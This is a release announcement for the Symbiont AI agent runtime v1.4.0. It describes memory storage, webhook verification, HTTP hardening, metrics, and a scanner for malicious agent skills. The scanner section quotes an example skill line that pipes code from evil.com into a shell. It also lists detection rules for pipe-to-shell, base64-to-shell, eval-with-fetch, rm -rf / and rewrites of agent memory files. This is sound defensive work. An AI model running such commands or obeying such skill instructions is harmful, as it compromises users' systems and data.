Symbiont v1.4.0 is here. This release adds four major capabilities to the agent runtime: persistent agent memory, cryptographic webhook verification, automated skill scanning, and metrics telemetry. Together, they close the gap between “agent that runs” and “agent you can trust in production.”
Every feature is available in the Rust runtime and the Python and JavaScript SDKs (both at v0.6.0).
Persistent Memory
Agents that forget everything between runs aren’t useful for long-running workflows. v1.4.0 introduces MarkdownMemoryStore — a file-based persistence layer that stores agent knowledge in human-readable Markdown.
Each agent gets a memory file organized into three sections:
- Facts: Static knowledge the agent has learned (“The production database is on port 5432”)
- Procedures: Step-by-step processes the agent has figured out (“To deploy: run tests, build image, push to registry”)
- Learned Patterns: Behavioral observations (“User prefers concise summaries over detailed reports”)
agent security_scanner {
memory {
store markdown
path "./data/scanner"
retention 90d
}
}
Writes are atomic (tempfile + rename), so a crash mid-write never corrupts existing memory. Daily interaction logs are appended to timestamped files, and a configurable retention policy automatically compacts old logs. The REPL exposes :memory inspect, :memory compact, and :memory purge commands for runtime management.
The Markdown format is intentional — operators can read, edit, and audit agent memory with any text editor. No proprietary binary formats, no database to manage.
Webhook Verification
Accepting webhooks from external services without verifying signatures is a vulnerability. v1.4.0 adds a SignatureVerifier trait with two implementations and four provider presets:
| Provider | Header | Signing Scheme |
|---|---|---|
| GitHub | X-Hub-Signature-256 |
HMAC-SHA256 with sha256= prefix |
| Stripe | Stripe-Signature |
HMAC-SHA256 |
| Slack | X-Slack-Signature |
HMAC-SHA256 with v0= prefix |
| Custom | X-Signature |
HMAC-SHA256 |
All HMAC comparisons use constant-time operations via the subtle crate — no timing side channels. A JwtVerifier is also included for services that authenticate via JWT tokens in headers.
The DSL now supports a webhook block for declarative endpoint configuration:
agent github_handler {
webhook {
provider github
secret $GITHUB_WEBHOOK_SECRET
path "/hooks/github"
filter ["push", "pull_request"]
}
}
Verification happens before JSON parsing in the HTTP input pipeline. Invalid signatures get a 401 immediately — the agent never sees the payload. This is wired into the HttpInputServer as a pre-handler middleware, so there’s zero boilerplate to add webhook security to any agent.
Skill Scanning (ClawHavoc)
Agent skills — SKILL.md files and their associated resources — are a supply chain attack surface. A skill that includes curl evil.com/payload | sh in its instructions can turn a helpful agent into a compromised one.
v1.4.0 ships a SkillScanner with 10 built-in ClawHavoc defense rules:
| Rule | Severity | What It Catches |
|---|---|---|
pipe-to-shell |
Critical | curl ... \| sh |
wget-pipe-to-shell |
Critical | wget ... \| sh |
env-file-reference |
Warning | References to .env files |
soul-md-modification |
Critical | Attempts to rewrite SOUL.md
|
memory-md-modification |
Critical | Attempts to rewrite MEMORY.md
|
eval-with-fetch |
Critical |
eval() + network fetch |
fetch-with-eval |
Critical | Network fetch + eval()
|
base64-decode-exec |
Critical | Base64 decode piped to shell |
rm-rf-pattern |
Critical | rm -rf / |
chmod-777 |
Warning | World-writable permissions |
The scanner runs automatically when skills are loaded. Every text file in the skill directory is scanned line-by-line against all rules. Findings include the rule name, severity, a human-readable message, and the exact line number.
Custom rules can be added alongside the defaults. If your organization has domain-specific patterns to watch for — AWS credential patterns, internal URL schemes, or proprietary file references — add them as regex rules and they’ll be checked alongside ClawHavoc.
The scanner integrates with SchemaPin for cryptographic skill verification. A skill can be both signature-verified (the author is who they claim to be) and content-scanned (the instructions don’t contain malicious patterns). Belt and suspenders.
HTTP Security Hardening
v1.4.0 tightens the HTTP input module defaults:
-
Loopback-only binding: The server now defaults to
127.0.0.1instead of0.0.0.0. If you want to accept external connections, you explicitly opt in. -
CORS disabled by default:
cors_originsis an empty list by default. Add specific origins to enable cross-origin access — no more accidental wildcard CORS. - JWT EdDSA validation: The auth middleware now supports Ed25519 public key loading and EdDSA JWT verification. HS256, RS256, and other algorithms are explicitly rejected.
-
Health endpoint separation:
/healthis exempt from authentication, allowing load balancers to probe the server without credentials. -
PathPrefix routing:
RouteMatch::PathPrefixenables routing by URL path prefix, complementing the existing header and JSON field matchers.
These are all “secure by default” changes. The goal is that a fresh HttpInputConfig::default() is production-safe without any additional configuration.
Metrics & Telemetry
Production systems need observability. v1.4.0 adds a metrics collection and export system:
-
FileMetricsExporter: Writes metric snapshots as atomic JSON files (tempfile + rename). Simple, no external dependencies. -
OtlpExporter: Sends metrics to any OpenTelemetry-compatible endpoint via gRPC or HTTP (behind themetricsfeature flag). -
CompositeExporter: Fan-out to multiple backends simultaneously. Individual export failures are logged but don’t block other exporters. -
MetricsCollector: Background thread that periodically gathers snapshots from the scheduler, task manager, load balancer, and system resources, then exports them.
The /api/v1/metrics endpoint returns a full snapshot covering job counts, task queue depths, worker utilization, CPU, and memory usage.
DSL Parser Improvements
Two small but important fixes to the DSL parser:
-
Bare identifiers:
store markdownandprovider githubnow parse correctly — previously these required quoted strings. -
Short-form durations:
90d,6m,1ywork alongside the existing90.secondsform. This makes memory retention and schedule configuration more readable.
SDK Parity
Both SDKs ship at v0.6.0 with full feature parity:
Python SDK (PyPI):
-
MarkdownMemoryStore,HmacVerifier,JwtVerifier,WebhookProvider -
SkillScanner,SkillLoaderwith SchemaPin integration -
MetricsClient,FileMetricsExporter,CompositeExporter - 120 tests passing
JavaScript SDK (npm):
-
MarkdownMemoryStore,HmacVerifier,JwtVerifier,WebhookProvider -
SkillScannerwith all 10 ClawHavoc rules -
MetricsApiClient,FileMetricsExporter - 1,037 tests passing
Install
# Rust
cargo install symbi
# Python
pip install symbiont-sdk==0.6.0
# JavaScript
npm install symbiont-sdk-js@0.6.0
# Docker
docker pull ghcr.io/thirdkeyai/symbi:latest
What’s Next
v1.4.0 completes the core production feature set. The ThirdKey trust stack — SchemaPin for tool integrity, AgentPin for agent identity, and Symbiont for runtime enforcement — now covers the full agent lifecycle from skill loading through execution to external integration.
Upcoming work focuses on multi-modal RAG, cross-agent knowledge synthesis, and federation protocols for multi-organization agent networks.
Symbiont is open source under the MIT license. View the full changelog and source at github.com/thirdkeyai/symbiont. For enterprise support, contact enterprise@symbiont.dev.
